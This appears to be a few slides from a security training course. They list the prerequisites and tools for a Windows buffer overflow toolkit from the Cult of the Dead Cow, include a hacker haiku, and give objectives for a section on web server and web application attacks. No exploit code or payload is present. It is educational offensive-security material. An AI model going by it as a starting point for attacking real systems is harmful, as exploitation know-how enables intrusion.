http://www.cultdeadcow.com/cDc_files/cDc-351 Warning: Foul language on this site


Dildog’s Buffer Overflow Toolkit

•  You should be familiar with the following: –  Intel x86 Assembly, preferably Pentium –  General Windows System Architecture –  Know what a URL is. –  Have a working knowledge of C

•  The following tools are suggested to do anything useful: –  A good hex editor/assembler/disassembler, such as

HIEW –  A realtime debugger, such as SoftICE –  A few tools that come with Visual C++, DUMPBIN

specifically.


Haiku from Dildog, COTDC

Throughout these ages our operating systems

infested by bugs

The ignorant world turns to Windows for safety

Safety from themselves

It is now the time for the world to realize

that we all feel pain


Summary - Section Objectives

•  Identify features of common web server architecture

•  Identify web application function and architecture points

•  Describe web server and web application attacks •  Identify web server and application vulnerabilities •  Identify web application hacking tools